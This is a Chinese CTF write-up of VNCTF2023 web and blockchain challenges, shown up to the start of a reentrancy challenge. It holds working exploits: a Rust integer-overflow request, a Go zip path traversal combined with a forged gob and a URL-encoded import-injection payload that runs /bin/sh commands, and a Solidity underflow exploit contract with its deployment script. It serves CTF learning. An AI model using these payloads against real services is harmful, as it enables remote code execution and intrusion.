2023_VNCTF

VNCTF2023(复现)

WEB

象棋王子

签到题,查看js源码,在play.js里面发现一段jsfuck,复制到控制台直接运行

image-20230328191713352
image-20230328191759185

电子木鱼

rust的web题目,主打一手语言难度

先放出源码:

use actix_files::Files;
use actix_web::{
error, get, post,
web::{self, Json},
App, Error, HttpResponse, HttpServer,
};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use std::sync::{Arc, Mutex};
use tera::{Context, Tera};

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

#[derive(Debug, Clone, Default)]
struct ThreadLocker<T> {
value: Arc<Mutex<T>>,
}

impl<T: Clone> ThreadLocker<T> {
fn get(&self) -> T {
let mutex = self.value.lock().unwrap();
mutex.clone()
}
fn set(&self, val: T) {
let mut mutex = self.value.lock().unwrap();
*mutex = val;
}
fn from(val: T) -> ThreadLocker<T> {
ThreadLocker::<T> {
value: Arc::new(Mutex::new(val)),
}
}
}

#[derive(Serialize)]
struct APIResult {
success: bool,
message: &'static str,
}

#[derive(Deserialize)]
struct Info {
name: String,
quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
name: &'static str,
cost: i32,
}

const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
let mut context = Context::new();

context.insert("gongde", &GONGDE.get());

if GONGDE.get() > 1_000_000_000 {
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}

match tera.render("index.html", &context) {
Ok(body) => Ok(HttpResponse::Ok().body(body)),
Err(err) => Err(error::ErrorInternalServerError(err)),
}
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
GONGDE.set(0);
web::Json(APIResult {
success: true,
message: "重开成功,继续挑战佛祖吧",
})
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}

if body.quantity <= 0 {
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}

if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;

if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}

if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}

if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}

if payload.name == "Cost" {
return web::Json(APIResult {
success: true,
message: "小扣一手功德",
});
} else if payload.name == "CCCCCost" {
return web::Json(APIResult {
success: true,
message: "功德都快扣没了,怎么睡得着的",
});
} else if payload.name == "Loan" {
return web::Json(APIResult {
success: true,
message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
});
} else if payload.name == "Donate" {
return web::Json(APIResult {
success: true,
message: "好人有好报",
});
} else if payload.name == "Sleep" {
return web::Json(APIResult {
success: true,
message: "这是什么?床,睡一下",
});
}
}

web::Json(APIResult {
success: false,
message: "禁止开摆",
})
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
let port = std::env::var("PORT")
.unwrap_or_else(|_| "2333".to_string())
.parse()
.expect("Invalid PORT");

println!("Listening on 0.0.0.0:{}", port);

HttpServer::new(move || {
let tera = match Tera::new("src/templates/**/*.html") {
Ok(t) => t,
Err(e) => {
println!("Error: {}", e);
::std::process::exit(1);
}
};
App::new()
.app_data(web::Data::new(tera))
.service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
.service(index)
.service(upgrade)
.service(reset)
})
.bind(("0.0.0.0", port))?
.run()
.await
}

参考这个文章

if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}

当post的时候,name参数为DonateCost的时候,cost会进行计算乘上参数quantity的值

if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}

然后就更新功德的数值,我们需要将功德打到1_000_000_000就能输出flag

cost又是32位的数值,可以表示-2_147_483_647~2_147_483_6462_147_483_647溢出为-1,所以3_147_483_646-1_000_000_000,因为还乘了10,所以传参差不多是314_748_364左右就能溢出,或者计算下一轮的溢出都可以,不唯一

name=Cost&quantity=314748364
image-20230331234908747

BabyGo

Go语言,又是主打一手语言难度

先看源码

package main

import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)

type User struct {
Name string
Path string
Power string
}

func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")

r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})

r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})

r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})

r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

r.Run(":80")
}

路由挺多的,都看一下

/:设置session,并且创建文件夹,在文件夹里面创建一个user.gob,然后存放User结构体

POST:/upload:进行文件上传,但是不能是.gob.go文件

/unzipc.Query()表示get请求的参数,传入的path参数和userUploadDisr进行拼接后filepath.Clean()将拼接的路径进行简化替换成等效的最短路径,即将路径字串中的...进行整合,然后将userUploadDir下的文件解压到新路径中,这里能造成路径穿越

/backdoor:将路径下的.gob文件进行解析,对ctfer进行定义,如果Poweradmin就能进行goeval.Eval()

得了解goval.Eval()各个参数的作用

直接去github仓库看:

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main
%s
%s
func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)

if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}

// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
return res, err
}

接受三个参数defineCode string, code string, imports ...stringimports

会经过拼接形成go语言中的

import (
...
...
...
)

格式,code会拼接到func main(){..}中,然后fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)会将三个片段经i选哪个拼接形成一个完整的go代码,接着会写入.go文件中执行.

解法一:

这样一来,就有办法了,go语言中,如果存在func init(){...}会先执行initial()后再执行main(),所以我们能控制pkg参数,进行传参,传入需要利用的模块后,闭合import(接着继续写入init()函数,最后闭合import的右括号)

结合要利用的模块,需要构造成如下的形式:

import (
"OS/exec"
"fmt"
)
func init(){
cmd:=exec.Command("ls${IFS}/")
res,err:=cmd.CombinedOutput()
fmt.Println(string(res))
}
const(
evil="123"
)
func main() {
fmt.Println("Good")
}

所以pkg的参数应该为:os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","ls${IFS}/")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(string(res))%0A}%0Aconst(%0Aevil="123

首先需要生成.gob文件,其中的User.Power=adminPath为题目给出的路径,然后压缩为压缩包上传

生成user.gob:

package main

import (
"encoding/gob"
"fmt"
"os"
)

type User struct {
Name string
Path string
Power string
}

func main() {
userDir := "/tmp/4c89ef614806230cdcb4b1adff054ac1/ "
user := User{
Name: "ctfer",
Path: userDir,
Power: "admin",
}
file, err := os.Create("./user.gob")
if err != nil {
fmt.Println("fail to create file", err.Error())
return
}
defer file.Close()

encoder := gob.NewEncoder(file)
err = encoder.Encode(user)
if err != nil {
fmt.Println("fail to encode", err.Error())
return
} else {
fmt.Println("encode successly")
}
}

压缩后进行上传

image-20230407002734400

然后去访问/unzip并且带上path=/../../../../tmp/4c89ef614806230cdcb4b1adff054ac1

image-20230407003111794

最后访问/backdoor,带上pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","ls${IFS}/")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(string(res))%0A}%0Aconst(%0Aevil="123

image-20230407005656457

最后cat${IFS}/ffflllaaaggg

image-20230407005837697

BLOCKCHAIN

SignIN

先看合约的源码:

pragma solidity ^0.4.23;

contract Checkin {

string public welcomeMessage;
uint16 public year;

constructor(string _mssg) {
welcomeMessage = _mssg;
year = 2022;
}

function setMsg(string _welcomeMessage,uint16 _newyear) public{
welcomeMessage = _welcomeMessage;
year = year - _newyear;
}

function uintToStr(uint _i) internal pure returns (string memory _uintAsString) {
uint number = _i;
if (number == 0) {
return "0";
}
uint j = number;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (number != 0) {
bstr[k--] = byte(uint8(48 + number % 10));
number /= 10;
}
return string(bstr);
}

function strConcat(string _a, string _b) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ret = new string(_ba.length + _bb.length);
bytes memory bret = bytes(ret);
uint k = 0;
for (uint i = 0; i < _ba.length; i++)bret[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bret[k++] = _bb[i];
return string(ret);
}

function isSolved() public view returns(bool){
var msg =strConcat(welcomeMessage,uintToStr(year));
return (keccak256(abi.encodePacked("Welcome to VNCTF2023")) == keccak256(abi.encodePacked(msg)));
}

}

可知要使welcomeMessageyear两个变量拼起来等于Welcome to VNCTF2023year已经是2022,要减去_newyear变成2023,而solidits版本是0.4.23,是存在整数溢出的,yearuint16类型(表示的范围为0~\(2^{16}-1\)(65535)),所以2022-65536=2022,即2022-65535=2023,所以_newyear=65535即可造成整数溢出

但是刚接触区块链,题目给出rpc链接,导不进去metamask不会用。。。。,没写出来。。。

B1ue1nWh1te师傅的wp是使用py脚本进行交互直接调用漏洞合约的setMsg()函数,学习一下,用py交互打自己写好的exp:

pragma solidity ^0.4.23;

contract Checkin {

string public welcomeMessage;
uint16 public year;

constructor(string _mssg) {
welcomeMessage = _mssg;
year = 2022;
}

function setMsg(string _welcomeMessage,uint16 _newyear) public{
welcomeMessage = _welcomeMessage;
year = year - _newyear;
}

function uintToStr(uint _i) internal pure returns (string memory _uintAsString) {
uint number = _i;
if (number == 0) {
return "0";
}
uint j = number;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (number != 0) {
bstr[k--] = byte(uint8(48 + number % 10));
number /= 10;
}
return string(bstr);
}

function strConcat(string _a, string _b) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ret = new string(_ba.length + _bb.length);
bytes memory bret = bytes(ret);
uint k = 0;
for (uint i = 0; i < _ba.length; i++)bret[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bret[k++] = _bb[i];
return string(ret);
}

function isSolved() public view returns(bool){
var msg =strConcat(welcomeMessage,uintToStr(year));
return (keccak256(abi.encodePacked("Welcome to VNCTF2023")) == keccak256(abi.encodePacked(msg)));
}

}

contract exp{
address transcation = 0x1EE9b643611B605e07A810D749df80583E942FcE;
Checkin target = Checkin(transcation);
constructor()payable{}
function hack() public returns(bool){
bool ans = false;
string memory message="Welcome to VNCTF";
uint16 year = 65535;
target.setMsg(message,year);
ans = target.isSolved();
return ans;
}
}

先创建账户,需要打钱进账户,给了水管,直接用水管给账户领钱,就能拿到contract address,写的exp是重新创建一个合约,再创建漏洞合约的对象,调用漏洞合约的setMsg()函数,然后将exp合约部署到私链上调用hack()函数进行攻击

交互脚本为:

from Poseidon.Blockchain import *  # https://github.com/B1ue1nWh1te/Poseidon
import requests
import time

'''
[+] token: v4.local.GPpKmYJkN7Etv6rPejkPAmH0iMgl0u0AAmeBV4XAK9plqIl349L2zSZfuagclF2GLZSeFL9UOKvIGozh_ET5M3MF1F_1O5MFgUCCjokhQCwsls8boWKkGue7IBBqqZWCpylPTIEZiGTYCoLnssF85QhS9g2eDSJn8g3b0igmsIoLBg
[+] contract address: 0x1EE9b643611B605e07A810D749df80583E942FcE
[+] flag: flag{2a7acb80-e2d6-4698-b33e-7833a4f7564c}
'''

# 连接至链
chain = Chain("http://1.14.72.170:8545")

# 创建新账户
AccountAddress, AccountPrivateKey = BlockchainUtils.CreateNewAccount()

# 领取测试币
assert (requests.post("http://1.14.72.170:8080/api/claim", data={"address": AccountAddress}).status_code == 200)

# 等待一段时间以便测试币发放得到区块确认
time.sleep(15)

# 导入账户
account = Account(chain, AccountPrivateKey)

# 选择 Solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.4.23")

# 编译题目合约
abi, bytecode = BlockchainUtils.Compile("challenge.sol", "exp")

# 实例化题目合约
# contractAddress = "0x1EE9b643611B605e07A810D749df80583E942FcE"

hacker = account.DeployContract(abi, bytecode)["Contract"]
# 解题
hacker.CallFunction("hack")

打过去后直接到nc界面获取flag即可

image-20230221002140022

GetoffmyMoney!

重入攻击,学习一下

先看源码:

pragma solidity ^0.8.7;

contract GuessGame {
address private GamblingHouseOwner;
address public Player;
mapping(address => uint256) PlayerWins;
mapping(address => bool) GetMoney;
mapping(address => uint256) PlayerPool;
uint256 public PlayerGuess;

constructor() payable {
GamblingHouseOwner = msg.sender;
}

function despositFunds(address _addr) private {
PlayerPool[_addr] = PlayerPool[_addr] + msg.value;
}

function guess(uint256 _guess) external payable {
require(_guess == 0 || _guess == 1);
require(Player == address(0));
require(msg.value == 1 ether);
Player = msg.sender;
despositFunds(msg.sender);
PlayerGuess = _guess;
}

function RandomCoin() private view returns (uint256) {
return
uint256(keccak256(abi.encodePacked(block.timestamp ^ 0x1234567))) %
2;
}

function revealResult() external {
require(Player == msg.sender);
uint256 winningOption = RandomCoin();
if (PlayerGuess == winningOption) {
PlayerWins[Player] = PlayerWins[Player] + 1;
} else {
PlayerWins[Player] = 0;
}
Player = address(0);
}

function Winer() public view returns (uint256) {
return (PlayerWins[msg.sender]);
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount);

(bool success, ) = recipient.call{value: amount}("");
}

function withdrawMoney(address _to) public payable {
require(PlayerWins[msg.sender] >= 3);
require(msg.sender == _to);
if (PlayerWins[_to] >= 3) {
uint256 amount = PlayerPool[_to];
PlayerPool[_to] = 0;
sendValue(payable(_to), amount);
}
}

function withdrawFirstWin() external {
require(!GetMoney[msg.sender]);
PlayerPool[msg.sender] = PlayerPool[msg.sender] + 1 ether;
withdrawMoney(msg.sender);
GetMoney[msg.sender] = true;
}

function isSolved() public view returns (bool) {
return address(this).balance == 0;
}

receive() external payable {}
}